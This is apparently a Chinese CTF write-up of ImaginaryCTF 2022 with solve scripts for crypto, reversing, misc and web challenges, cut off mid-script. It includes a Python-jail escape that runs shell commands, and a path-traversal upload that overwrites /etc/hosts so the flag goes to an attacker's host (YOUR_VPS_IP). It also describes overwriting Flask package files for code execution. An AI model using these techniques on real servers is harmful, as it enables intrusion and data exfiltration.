ImaginaryCTF 2022 WriteUps

這次和 XxTSJxX 參加了 ImaginaryCTF 2022,最後拿了第 4 名。

Misc

neoannophobia

這題的遊戲簡單來說是 Nim 在只有兩堆的特例,直接讓它保持平衡就能勝利了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *

context.log_level = "debug"

months = {
"January": 1,
"February": 2,
"March": 3,
"April": 4,
"May": 5,
"June": 6,
"July": 7,
"August": 8,
"September": 9,
"October": 10,
"November": 11,
"December": 12,
}
inv_months = {v: k for k, v in months.items()}


def recvdate(io):
s = io.recvlineS().strip()
mon, date = s.split(" ")
mon = months[mon]
date = int(date)
return mon, date


def balance(mon, date):
# https://en.wikipedia.org/wiki/Nim 2 heap
p1 = 12 - mon
p2 = 31 - date
if p1 == p2:
# already balance, choose any
return inv_months[mon + 1], date
m = min(p1, p2)
p1 = m
p2 = m
mon = inv_months[12 - p1]
date = 31 - p2
return mon, date


io = remote("neoannophobia.chal.imaginaryctf.org", 1337)
for rnd in range(100):
print(rnd)
io.recvuntil(b"----------\n")
io.recvuntil(b"----------\n")
while True:
mon, date = balance(*recvdate(io))
io.sendlineafter(b"> ", f"{mon} {date}".encode())
if (mon, date) == ("December", 31):
break
io.interactive()
# ictf{br0ken_game_smh_8b1f014a}

pycrib

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python3

import sys
import string

allowed = string.whitespace + string.ascii_lowercase
for name in sys.modules.keys():
if any(n in name for n in ["heap", "imp", "marshal", "code", "func", "enc", "lib", "abc", "warn", ".", "x", "builtins"]):
sys.modules[name] = None
del sys
del string

print("Welcome to the Python Crib. We honestly don't care if you escape.")
inp = input(">>> ")
b = not all([n in allowed for n in inp])
exec(inp) if not b else print("How cute!")
exit(b)

這題的 pyjail 只允許了小寫英文字母和一些空白類的字元,是從 UIUCTF - baby_python 修改而來。原本的解答 from code import interact as exit 在新的修改之下整個失效了。

解題關鍵是要知道 python 中以 python script.py 執行的 script 會被稱作 __main__ module,但是我們又知道 import script 會在 sys.path 中尋找 script.py 之類的檔案再嘗試 import 進來。如果在 script.py 中 import 它自身的話就會導致它執行兩次,並得到兩個不一樣的 module。

可以建立 ss.py:

1
2
print(__name__)
import ss

然後執行 python ss.py 就能了解它的行為了。

要解這題也是如此,因為檔名叫 main.py,你可以 import main 讓它重新在一個新 module 中再執行一次。再來觀察一下可以知道 main 裡面最值得 import 的東西是 inp,像是 from main import inp as b 就能把 __main__ 中的 b 蓋成自己控制的字串了。

再結合 from os import system as exit 的話就能達到 system(b) 的效果,也就代表應該能拿 shell 了...? 然而這沒這麼簡單,因為 binp = input(">>> ")system(b) 中間還會經過 exec(inp)exit(b),為了要把 exit 的效果弄掉,必須要讓 inp 是個合法的 python code 執行 from ??? import ??? as exit 才行。

稍微找一下可以知道 from time import sleep as exit 可以讓 exit(b) 不會產生 TypeError,但這樣所執行的 shell command 是毫無作用的,所以需要讓它變成是 shell + python 的 polyglot。

因為檔名是 flag,湊一湊可以弄出 cat if b else print\rprint if not b else flag \rfrom time import sleep as exit,原則上就是讓它 cat flag 而已。這邊 flag \r 的空格是很重要的,因為對 shell 來說 \r 也是 argument 的一部分,需要用空格才能分開。

完整指令:

1
2
3
4
5
> printf 'from main import inp as b\rfrom os import system as exit\ncat if b else print\rprint if not b else flag \rfrom time import sleep as exit\n' | nc pycrib.chal.imaginaryctf.org 1337
== proof-of-work: disabled ==
Welcome to the Python Crib. We honestly don't care if you escape.
>>> Welcome to the Python Crib. We honestly don't care if you escape.
>>> ictf{bash_python_polygl0t?_or_cheese_810a32fb}

作者的 polyglot: cat or flag if not input else input\rfrom keyword import iskeyword as exit

Crypto

huge

可以直接分解

1
2
3
4
5
6
7
8
9
10
from Crypto.Util.number import *

n = 257827703087398016057355158654193468564980243813004452658087616586210487667215030370871398983230710387803731676134007721137156696714627083072326445637415561591372586919746606752675050732692230618293581354674196658443898625965651230501721590806987488038754683843111434873697465691139129703835890867256688046172118591
e = 65537
c = 194667317703687479298989188290833629421904543231503224641743768867721632949682167895699280370759100055314992068135383846690184090232092994595979623784341194946153538127175310278245722299688212621004144260665233469561373125699948009903943019071999887294005117156960295183926108287198987970959145603429337056005819069

d = inverse_mod(e, euler_phi(n))
m = power_mod(c, d, n)
print(long_to_bytes(m))
# ictf{sm4ll_pr1mes_are_n0_n0_9b129443}

otp

這題會用個特殊函數生成一堆隨機 bits,然後和 flag xor 給你。關鍵在於它生成 bits 的函數生成 1 和 0 的機率不太一樣,大概是 2 比 1 的關係。所以這就代表 flag 的 bits 有大概 67% 的機率會被 flip,所以蒐集多個 ciphertext 然後分析各位置的 0 1 出現次數即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
import numpy as np
from tqdm import tqdm

# io = process(["python", "otp.py"])
io = remote("otp.chal.imaginaryctf.org", 1337)
T = 128
cts = []
for _ in tqdm(range(T)):
io.sendlineafter(b"Enter plaintext: ", b"FLAG")
io.recvuntil(b"Encrypted flag: ")
ct = bytes.fromhex(io.recvlineS().strip())
cts.append(bits(ct))

print(unbits((np.array(cts).T.sum(axis=1) < T // 2) * 1))
# ictf{benfords_law_catching_tax_fraud_since_1938}

hash

這題有個自製的 hash,要能找出 preimage。hash 本身如下:

1
2
3
4
5
6
7
8
9
10
config = [[int(a) for a in n.strip()] for n in open("jbox.txt").readlines()] # sbox pbox jack in the box

# secure hashing algorithm 42
def sha42(s: bytes, rounds=42):
out = [0]*21
for round in range(rounds):
for c in range(len(s)):
if config[((c//21)+round)%len(config)][c%21] == 1:
out[(c+round)%21] ^= s[c]
return bytes(out).hex()

可以知道它只要長度固定的話 hash 就只是一堆 xor 而已,直接爆破長度然後讓 z3 解就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
from z3 import *

config = [
[int(a) for a in n.strip()] for n in open("jbox.txt").readlines()
] # sbox pbox jack in the box
def sha42(s: bytes, rounds=42):
out = [0] * 21
for round in range(rounds):
for c in range(len(s)):
if config[((c // 21) + round) % len(config)][c % 21] == 1:
out[(c + round) % 21] ^= s[c]
return out

def solve_preimage(h):
for l in range(15,21):
inp = [BitVec(f"inp_{i}", 8) for i in range(l)]
sol = Solver()
for x in inp:
sol.add(And(x != 0, x != 0x10, x < 0x7F))
for x, y in zip(h, sha42(inp)):
sol.add(x == y)
if sol.check() != sat:
continue
m = sol.model()
return bytes([m[x].as_long() for x in inp])

# io = process(['python', 'hash.py'])
io = remote("hash.chal.imaginaryctf.org", 1337)
for i in range(50):
io.recvuntil(b'sha42(password) = ')
h = bytes.fromhex(io.recvlineS().strip())
password = solve_preimage(h)
print(i, f'sha42({password.hex()}) = {h.hex()}')
io.sendlineafter(b'hex(password) = ',password.hex().encode())
io.interactive()
# ictf{pls_d0nt_r0ll_y0ur_0wn_hashes_109b14d1}

stream

題目給的是 elf,稍微 reverse 一下可以知道它是用一個 更新的 key stream 和 flag xor 做加密的。

因為 flag format 是 ictf{,代表只要爆 3 個 bytes 就可以了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
with open("out.txt", "rb") as f:
ct = f.read()


def decrypt(ct, key):
pt = b""
for i in range(0, len(ct), 8):
x = int.from_bytes(ct[i : i + 8], "little")
x ^= key
pt += x.to_bytes(8, "little")
key = (key * key) & 0xFFFFFFFFFFFFFFFF
return pt[: len(ct)]


key = int.from_bytes(b"ictf{\x00\x00\x00", "little") ^ int.from_bytes(ct[:8], "little")
key &= ~0xFFFFFF0000000000
for i in range(256**3):
k = key + (i << 40)
f = decrypt(ct, k).strip(b"\n\x00")
if f.startswith(b"ictf{") and f.endswith(b"}") and f.isascii():
print(f)
break
# pypy3 solve.py
# ictf{y0u_rec0vered_my_keystream_901bf2e4}

z3 大概也能解決這題

Lorge

這題保證 的最大 factor 都不超過 25 bits,所以可以直接 pollard p-1 搞定...?

實際寫個最 naive 的 pollard p-1 (按照順序從小到大) 會發現分解失敗,需要讓它稍微 shuffle 一下所有 以內的數才行。

這是因為 pollard p-1 主要是利用 這個性質,如果當 的最大 factor 相等的時候使用 naive 的方法會同時對 符合上面那條等式,但要用 來分解的關鍵是只讓它符合其中一個。

分解 code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import gmpy2
from tqdm import tqdm
import random

n = gmpy2.mpz(
63038895359658613740840475285214364620931775593017844102959979092033246293689886425959090682918827974981982265129797739561818809641574878138225207990868931316825055004052189441093747106855659893695637218915533940578672431813317992655224496134300271524374912502175195904393797412770270676558054466831561609036199966477
)
e = 65537
ct = 60515029337308681079476677877525631415600527185785323978384495461916047877351538207473264679842349366162035496831534576192102896080638477601954951097077261305183669746007206897469286005836283690807247174941785091487066018014838515240575628587875110061769222088950451112650700101446260617299040589650363814995825303369

ar = list(range(2, 2**25))
random.shuffle(ar)
a = gmpy2.mpz(2)
for p in tqdm(ar):
a = gmpy2.powmod(a, p, n)
g = gmpy2.gcd(a - 1, n)
if 1 < g < n:
print(g)
break
# 434654113480567754843550047971815161129803871913933783262402156469121832491983228916050415001822989063035108089351335052513369073826096294477221516463704292443

之所以用所有 以內的數而非單純質數是因為有可能有 prime power 在裡面

剩下就 decrypt:

1
2
3
4
5
6
7
8
9
10
11
12
from Crypto.Util.number import *

n = 63038895359658613740840475285214364620931775593017844102959979092033246293689886425959090682918827974981982265129797739561818809641574878138225207990868931316825055004052189441093747106855659893695637218915533940578672431813317992655224496134300271524374912502175195904393797412770270676558054466831561609036199966477
e = 65537
ct = 60515029337308681079476677877525631415600527185785323978384495461916047877351538207473264679842349366162035496831534576192102896080638477601954951097077261305183669746007206897469286005836283690807247174941785091487066018014838515240575628587875110061769222088950451112650700101446260617299040589650363814995825303369
p = 434654113480567754843550047971815161129803871913933783262402156469121832491983228916050415001822989063035108089351335052513369073826096294477221516463704292443
q = n // p
assert p * q == n
d = pow(e, -1, (p - 1) * (q - 1))
m = pow(ct, d, n)
print(long_to_bytes(m))
# ictf{why_d1d_sm0ll_3v3n_sh0w_up_on_f4ct0rdb???_That_m4d3_m3_sad!}

Secure Encoding: Base64

這題使用了 base64 encode 了一篇很長很長的文章,保證 ord(x) 小於 128,然後把 encode 的 base64 shuffle 後的結果做為 ciphertext,並不告訴的那個置換是什麼。

要記得 base64 使用了 4 個 base64 字元去代表了 3 個 bytes,也就是每個字元提供了 6 bits 的資訊,然後 concat 起來是 24 bits,也就代表原本的 3 個 bytes。

在正常的 base64 來說一個字元所提供的那 6 bits 是看它在 base64 table 的 index 決定,但是 shuffle 之後就什麼都不知道了。

我的想法是說就算是 shuffle 後一個 base64 字元所映射到的那 6 bits 都還是 unique 的,然後題目也有保證 ord(x) 小於 128,這就代表我們還是可以得到一些 bits 的資訊,所以就使用 z3 來解看看。

稍微解出來之後可以知道它大概是一篇英文文章,之後讓 z3 再繼續多產生幾篇可能的 plaintext 之後可以大概看出它是 Project Gutenberg 的某本書,這樣就能得到一些 known plaintext 的 prefix,再把它加下去之後又能不斷的得到更好的結果。

最後完整的腳本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from z3 import *
from tqdm import tqdm
import string

with open("out.txt") as f:
ct = f.read()


badchar = b"`\\|<>/;{}"
badchar = b''
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/="
eqchr = ct[-1]
charset = charset.replace(eqchr, "")
maps = [BitVec(f"c_{i}", 6) for i in range(len(charset))]


def dec(s):
ar = []
for c in s:
if c == eqchr:
v = BitVecVal(0, 6)
else:
v = maps[charset.index(c)]
ar.append(v)
return ar


def dec2(s):
ar = []
for c in s:
if c == eqchr:
v = 0
else:
v = maps_i[charset.index(c)]
ar.append(v)
return ar

sol = Solver()
sol.add(Distinct(*maps))
out = dec(ct[:20000])
bs = []
for a, b, c, d in tqdm(
[out[i : i + 4] for i in range(0, len(out), 4)][:-1]
): # drop last chunk because of null bytes problem
b1 = Extract(11, 4, Concat(a, b))
b2 = Extract(9, 2, Concat(b, c))
b3 = Extract(7, 0, Concat(c, d))
for b in [b1, b2, b3]:
sol.add(ULE(b, 0x7f))
# sol.add(Or(And(ULE(0x20, b), ULE(b, 0x7F)), b == 0x0A))
sol.add(And([b!=x for x in badchar]))
bs += [b1, b2, b3]
prefix = """The Project Gutenberg eBook of The Picture of Dorian cray, by Oscar Wilde

This eBook is for the\x00\x00se of anyone anywhere in the United States and
most other par\x00\x00 of the\x00\x00orld at no cost and\x00\x00ith almost no\x00\x00estrictions
whatsoever. You may co\x00\x00 it, give it away or re-use it under the\x00"""
for x, y in zip(bs, prefix.encode()):
if y!=0:
sol.add(x==y)
it = 1
while True:
print("checking")
assert sol.check() == sat
m = sol.model()
maps_i = [m[x].as_long() for x in maps]
print(maps_i)
out2 = dec2(ct)
ar = []
for a, b, c, d in tqdm([out2[i : i + 4] for i in range(0, len(out2), 4)]):
b1 = (((a << 6) | b) >> 4) & 0xFF
b2 = (((b << 6) | c) >> 2) & 0xFF
b3 = (((c << 6) | d) >> 0) & 0xFF
ar += [b1, b2, b3]
pt = bytes(ar)
with open(f"rec/recovered_{it}.txt", "wb") as f:
f.write(pt)
it += 1
sol.add(Or([x != y for x, y in zip(maps, maps_i)]))
break # you can remove this

不過因為這不知道是有哪裡寫壞掉,導致出來的 plaintext 有些地方是壞掉的,就算想把它強制修好也會得到 unsat ¯\_(ツ)_/¯

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
The Project Gutenberg eBook of The Picture of Dorian cray, by Oscar Wilde

This eBook is for the"5se of anyone anywhere in the United States and
most other parv3 of the"7orld at no cost and"7ith almost no"2estrictions
whatsoever. You may cor9 it, give it away or re-use it under the"4erms
of"4he Pro{ect Gutenberg License included"7ith this eBook or online at
www.gutenberg.org. If"9ou are not located in the United States,"9ou
will have to check the laws of the country where you are located before
using this eBook.

Title* The Picture of Dorian cray

Author* Oscar Wilde

Release Date* OGtober, 1994 [eBook #174]
[Most"2ecently"5pdated* February 3, 200r]

Language: English

R2of5Ged by* Judith Boss. HTML"6ersion by Al Haines.

**; START OF THE PROJECT GUTENBERG EBOOK THE PICTURE OF DORIAN GRAY ;**

The Picture of Dorian cray

by Oscar Wilde

Contenv3

THE PREFACE
CHAPTER I.
CHAPTER II.
CHAPTER III.
CHAPTER IV.
CHAPTER V.
CHAPTER VI.
CHAPTER VII.
CHAPTER VIII.
CHAPTER IX.
CHAPTER X.
CHAPTER XI.
CHAPTER XII.
CHAPTER XIII.
CHAPTER XIV.
CHAPTER XV.
CHAPTER XVI.
CHAPTER XVII.
CHAPTER XVIII.
CHAPTER XIX.
CHAPTER XX.

THE PREFACE

The artist is the creator of beautiful things. To reveal art and
GonGeal"4he artist is art's aim. The critiG is he"7ho Gan v2anslate
into another manner or a new material his imr2ession of beautiful
things.

The highest as"4he lowest form of Griticism is a mode of autobiograpj9.
Those"7ho find"5gn9 meanings in beautiful"4hings are corrupt without
being charming. This is a faun4.

Those who find beautiful meanings in beautiful"4hings are the
cun4ivated. For these there is hope. They are the elect to whom
beautiful things mean only beauv9.

There is no such"4hing as a moral or an immoral book. Books are well
written, or badly written. That is all.

The nineteenth century dislike of realism is"4he rage of Caliban seeing
his own faGe in a glass.

The nineteenth cenv5ry dislike of"2omantiGism is"4he rage of Caliban
not"3eeing his own face in a glass. The moral life of man forms"0art of
the"3ubject-matter of"4he artist, but the moraliv9 of art consists in
the perfect"5se of an imperfect medium. No artist desires to prove
anything. Even things that are v2ue Gan be r2oved. No artist has
ethiGal sympathies. An ethical sympathy in an artist is an unpardonable
mannerism of sv9le. No artist is ever morbid. The artist can ez0ress
everything. Thougj4 and language are to the artist instruments of an
art. ViGe and virv5e are to the artist materials for an art. From"4he
point of view of form,"4he type of all the arts is the art of"4he
musician. From the point of view of feeling, the actor's Graft is the
v9pe. All art is at once"3urface and"3ymbol. Those who go beneath the
surface do so at their peril. Those"7ho read"4he symbol do so at their
peril. It is"4he speGtator, and not life, that art really mirrors.
Diversity of opinion about a work of art shows that the work is new,
complex, and vital. When Gritics disagree, the artist is in aGcord with
himself. We can forgive a man for making a useful thing as long as he
does not admire it. The only excuse for making a useless thing is that
one admires it intensely.

All art is quite useless.

iGtfzall_encodings_are_nothing_but_art}

Living Without Expectations

這題有公開參數 和質數 。首先會先生成 secret vector ,然後對於 flag 的每個 bits 都先生成一個矩陣 。如果該 bits 為 0 就設 (其中 ),否則把 設為 的隨機向量。之後將 記錄下來給我們。

這個問題就叫做 Decision LWE (Learning With Error),一個 lattice cryptography 所用的 hardness assumption 之一,所以很自然就讓人想到了 LLL。

可以注意到這邊的 而非 ,這能讓我們更好的弄 lattice 出來解。首先是因為 flag 為 ascii,第一個 bit 必為 0,所以代表第一組 肯定符合

這邊就弄出以下 lattice:

可以知道在這之中有個點很接近 ,所以用 Babai CVP 去解就行了。當然,因為 部分的 bounds 比 鬆點,所以權重也要調整一下才行,像是直接用好用的 Inequality Solving with CVP 就能搞定了。

恢復完 之後剩下就很 trivial。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import ast
import numpy as np
from pwn import unbits

q = 2**142 + 217
n = 69

with open("output.txt") as f:
# f.readline()
l = f.readline()
A, b = l.split("] [")
A = [int(x, 16) for x in ast.literal_eval(A + "]")]
assert len(A) == n * n
A = matrix(np.array(A).reshape((n, n)))
b = [int(x, 16) for x in ast.literal_eval("[" + b)]
assert len(b) == n

k = 10
A = matrix(A[:k]).T.augment(matrix.identity(n))
print(A.dimensions())
M = A.stack((matrix.identity(k) * q).augment(matrix.zero(k, n)))
print(M.change_ring(Zmod(10)))
load(
"solver.sage"
) # https://raw.githubusercontent.com/rkm0959/Inequality_Solving_with_CVP/main/solver.sage

lb = [x - 8 for x in b[:k]] + [0] * n
ub = [x for x in b[:k]] + [1] * n
result, applied_weights, fin = solve(M, lb, ub)
s = vector(ZZ, fin[:n])
print(s)

bits = []
with open("output.txt") as f:
for l in f:
A, b = l.split("] [")
A = [int(x, 16) for x in ast.literal_eval(A + "]")]
assert len(A) == n * n
A = matrix(GF(q), np.array(A).reshape((n, n)))
b = [int(x, 16) for x in ast.literal_eval("[" + b)]
assert len(b) == n
e = vector(b) - A * s
if all([0 <= x < 8 for x in e]):
bits.append(0)
else:
bits.append(1)

print(unbits(bits))
# ictf{l4tt1c3_crypt0_t4k1ng_0v3r_th3_w0rld}

Web

Hostility

這題有個有 upload path traversal 的 flask server,關鍵 code 在此:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
@app.route('/upload', methods=["POST"])
def upload_post():
if "file" not in request.files:
return "No file submitted!"
file = request.files['file']
if file.filename == '':
return "No file submitted!"
file.save("./uploads/"+file.filename)
return f"Saved {file.filename}"

@app.route('/flag')
def check():
flag = open("flag.txt").read()
get(f"http://localhost:1337/{flag}")
return "Flag sent to localhost!"

從它給的 Dockerfile 可知 server 是跑在 root 上的,所以可以寫的地方很多。以這題來說就寫個 YOUR_VPS_IP localhost/etc/hosts 後然後 GET /flag 就能拿到 flag 了。

1
2
3
curl 'https://hostility.chal.imaginaryctf.org/upload' -F 'file=@hosts; filename=../../etc/hosts'
curl 'https://hostility.chal.imaginaryctf.org/flag'
# ictf{man_maybe_running_my_webserver_as_root_wasnt_a_great_idea_hmmmm}

不過在用上面這個預期解解掉前我是在找 RCE 的辦法,並且成功在 local 達成 RCE (但 remote 失敗)。關鍵 code 是這段:

1
2
3
4
5
6
class Restart(Thread):
def run(self):
sleep(300)
_exit(0) # killing the server after 5 minutes, and docker should restart it

Restart().start()

因為我們知道 docker restart 的時候 container 是同一個,它裡面的檔案變化都還是會保存著,所以如果可以寫入到 /app/server.py 的話就能在 restart 時 RCE。不過因為 write 權限沒開,所以寫不到那個地方。

不過就算那被擋了,我們還有很多其他地方也可以寫,例如 ../../usr/local/lib/python3.8/dist-packages/flask/__init__.py 或是 /usr/bin/python3 等等都可以寫。不過使用這種方法的缺點就是會導致 server 在重啟之後整個掛掉,所以我向作者回報後他表示這不是 intended,並且寫了個腳本把重啟的部分改成將 container 刪除重創,這樣就能修好這個問題了。

CyberCook

我有寫個英文版的 writeup: https://gist.github.com/maple3142/e6a2da36aa8431116b4eb6c9447af9aa

Reversing

polymorphic

這題有個 x86-64 的 elf,丟進 ida 只會看到一大堆根本無法反編譯的 instruction。嘗試執行的話可知它應該是類似 flag checker 的東西,但是會出現 segmentation fault,而題目介紹就有說要怎麼讓他不要 crash。

開 gdb 開始動態追可以看到他有很多 xor 目前 rip 位置的東西出現,所以可知他是某個 obfuscate 過的 binary,然後會動態用 xor 解回來。

1
2
3
4
5
6
→   0x401000 <_start+0>       xor    DWORD PTR [rip+0x0], 0x4e784379        # 0x40100a <_start+10>
0x40100a <_start+10> sub rax, 0xffffffffffffffde
0x40100e <_start+14> xor DWORD PTR [rip+0xa], 0xa5d80c00 # 0x401022 <_start+34>
0x401018 <_start+24> xor DWORD PTR [rip+0x4], 0x6ae4aab1 # 0x401026 <_start+38>
0x401022 <_start+34> lea rsi, ds:0xfffffffffae4aab1
0x40102a <_start+42> xor DWORD PTR [rip+0x0], 0xb1507c79 # 0x401034 <_start+52>

理論上應該可以用 capstone 之類的寫個腳本模擬 xor 的部分先把他 xor 好然後填 nop 回去,不過這樣感覺很累。

直接 gdb 慢慢追之後可以知道他先 read 輸入到 rsp 上,然後可以看到他有這樣的東西出現:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
   0x40107a <_start+122>:       mov    al,BYTE PTR [rsp]
0x40107d <_start+125>: nop
0x40107e <_start+126>: xor DWORD PTR [rip+0x0],0x9150e364 # 0x401088 <_start+136>
0x401088 <_start+136>: sub al,0x60
0x40108a <_start+138>: nop
0x40108b <_start+139>: nop
0x40108c <_start+140>: xor DWORD PTR [rip+0x0],0x59608a64 # 0x401096 <_start+150>
0x401096 <_start+150>: sub al,0x9
0x401098 <_start+152>: nop
0x401099 <_start+153>: nop
0x40109a <_start+154>: xor DWORD PTR [rip+0xa],0x25338878 # 0x4010ae <_start+174>
0x4010a4 <_start+164>: xor DWORD PTR [rip+0x4],0x40a062b5 # 0x4010b2 <_start+178>
=> 0x4010ae <_start+174>: xor BYTE PTR [rip+0x7],al # 0x4010bb <_start+187>
0x4010b4 <_start+180>: nop
0x4010b5 <_start+181>: nop
0x4010b6 <_start+182>: xor DWORD PTR [rip+0xa],0x2410c9c2 # 0x4010ca <_start+202>

可以知道它就讀一個字元到 al,然後減一些數字之後拿它去 xor rip+0x7 的地方,所以如果 al 非 0 的話很容易讓它炸裂,因此可知這邊的 al 必須是 0x69 才行,而 0x69 很剛好的是 ascii 的 i 字元,符合 ictf{ 的第一個字。後面繼續追也是類似的東西,所以就用 gdb 的 python api 寫個腳本動態把那些值提取出來就可以了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
gdb.execute("gef config context.enable false")
gdb.execute('start < /dev/null')
flag = ''
while True:
cur_inst = gdb.execute("x/i $pc",to_string=True)
print(cur_inst)
print(flag)
if 'xor BYTE PTR [rip+0x7],al' in cur_inst:
val = 256 - int(str(gdb.parse_and_eval("$al")), 16)
flag += chr(val)
gdb.execute('set $al = 0')
gdb.execute('si')
# gdb ./polymorphic -x solve.py
# ictf{dynam1c_d3bugg1ng_1s_n1ce}

One Liner: Revenge

這題我真的不會解釋,反正就把它 one liner python format 一下,隨便加些 print 去觀察一下它的行為,在適當的地方插入 z3 之後就讓它自己解了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
from z3 import *
from pprint import pprint

def ggg():
for i in range(1, 16):
yield i
print(sol.check())
m = sol.model()
flag = bytes([m[x].as_long() for x in inp])
print(flag)
# ictf{0n3l1n3is5uperior!}

function = type(ggg)
cntr = ggg()

inp = tuple([Int(f"f_{i}") for i in range(24)])
sol = Solver()

# input_len = 24
[
# globals().__setitem__(chr(0x67), globals()),
g := globals(),
# g.__setitem__(chr(0x74), lambda *a: bytes.fromhex("{:x}".format(a[0])).decode()),
t := lambda *a: bytes.fromhex("{:x}".format(a[0])).decode(),
g.__setitem__(
t(103),
type(
"",
(dict,),
{
t(6872320826472685407): lambda *a: {
**{
_: getattr(a[0], t(115298706365414908258770783))(
*[
(i % 8 if type(i) is (1).__class__ else i)
for (i) in _[::-1]
]
)
for (_) in a[1:]
},
a.__reduce__: a[0],
}.popitem()[len(a) % 2 * 2 - 1],
t(115298485004486023744151391): lambda *a: dict.__getitem__(
*[(i % 8 if type(i) is (4).__class__ else i) for (i) in a]
),
},
)(),
),
[
g((lambda *a: (print(*a), exit()), 13463))(
(
type(
"",
([].__class__,),
{
t(6872326324148002655): lambda *a: 1,
t(6872320826472685407): lambda *a: [print('?? idx', a[-1]),print('tmp',tmp:=[a[0].insert(0, list.pop(a[0])), a[0]][1]),print('tmpx', [i for i,x in enumerate(tmp) if type(x) != function]),g(
(tmp[a[-1]], 14701)
)][-1],
t(107135549927012): lambda *a: [
list.append(a[0], _) for (_) in a[1:]
],
t(7368560): lambda *a: (list.pop(a[0]), a[0].reverse())[0],
},
)(),
10397,
)
)[14413].append(*[g()[11677], *[lambda *a: g[11975](t(28271))] * 15]),
g((open(t(540221431545043700576377)).read(), 14122)),
g()[11391],
][
any(
any(_ in t(2524869067539096330) for (_) in (i))
for (i) in open(t(241425488694318497730177 + 298795942850725202846200))
)
+ 1
](
(t(28271), t(1654445085483638585692 + 382008194344550889925))
),
[
g(
(
g((lambda *a: [print(a),val:=next(cntr),[sol.add(eq if b=='1' else Not(eq)) for eq, b in zip(a,f'{val:04b}')],a:=(True,True,True,True),int("".join(str(1 * i) for (i) in (a)), 2),val][-1], 12614))[
15301
].__getattribute__(t(1759314143624509480799))(),
13195,
)
)[9923].append(
*(
lambda *a: (
51 * a[10] + 56 * a[0] + 12 * a[14] + 91 * a[3] + 9 * a[14]
== 96 * a[19]
+ 96 * a[9]
+ 83 * a[1]
+ 91 * a[1]
+ 43 * a[22]
- 11543,
88 * a[7] + 51 * a[7] + 27 * a[9] + 77 * a[1] + 45 * a[4]
== 53 * a[15]
+ 6 * a[22]
+ 92 * a[5]
+ 15 * a[9]
+ 86 * a[22]
+ 7184,
63 * a[3] + 76 * a[0] + 93 * a[5] + 64 * a[3] + 17 * a[6]
== 74 * a[23]
+ 30 * a[11]
+ 21 * a[9]
+ 63 * a[8]
+ 66 * a[23]
+ 405,
33 * a[14] + 47 * a[14] + 10 * a[7] + 97 * a[18] + 86 * a[10]
== 85 * a[16]
+ 92 * a[13]
+ 45 * a[19]
+ 68 * a[23]
+ 15 * a[2]
- 9791,
),
lambda *a: (
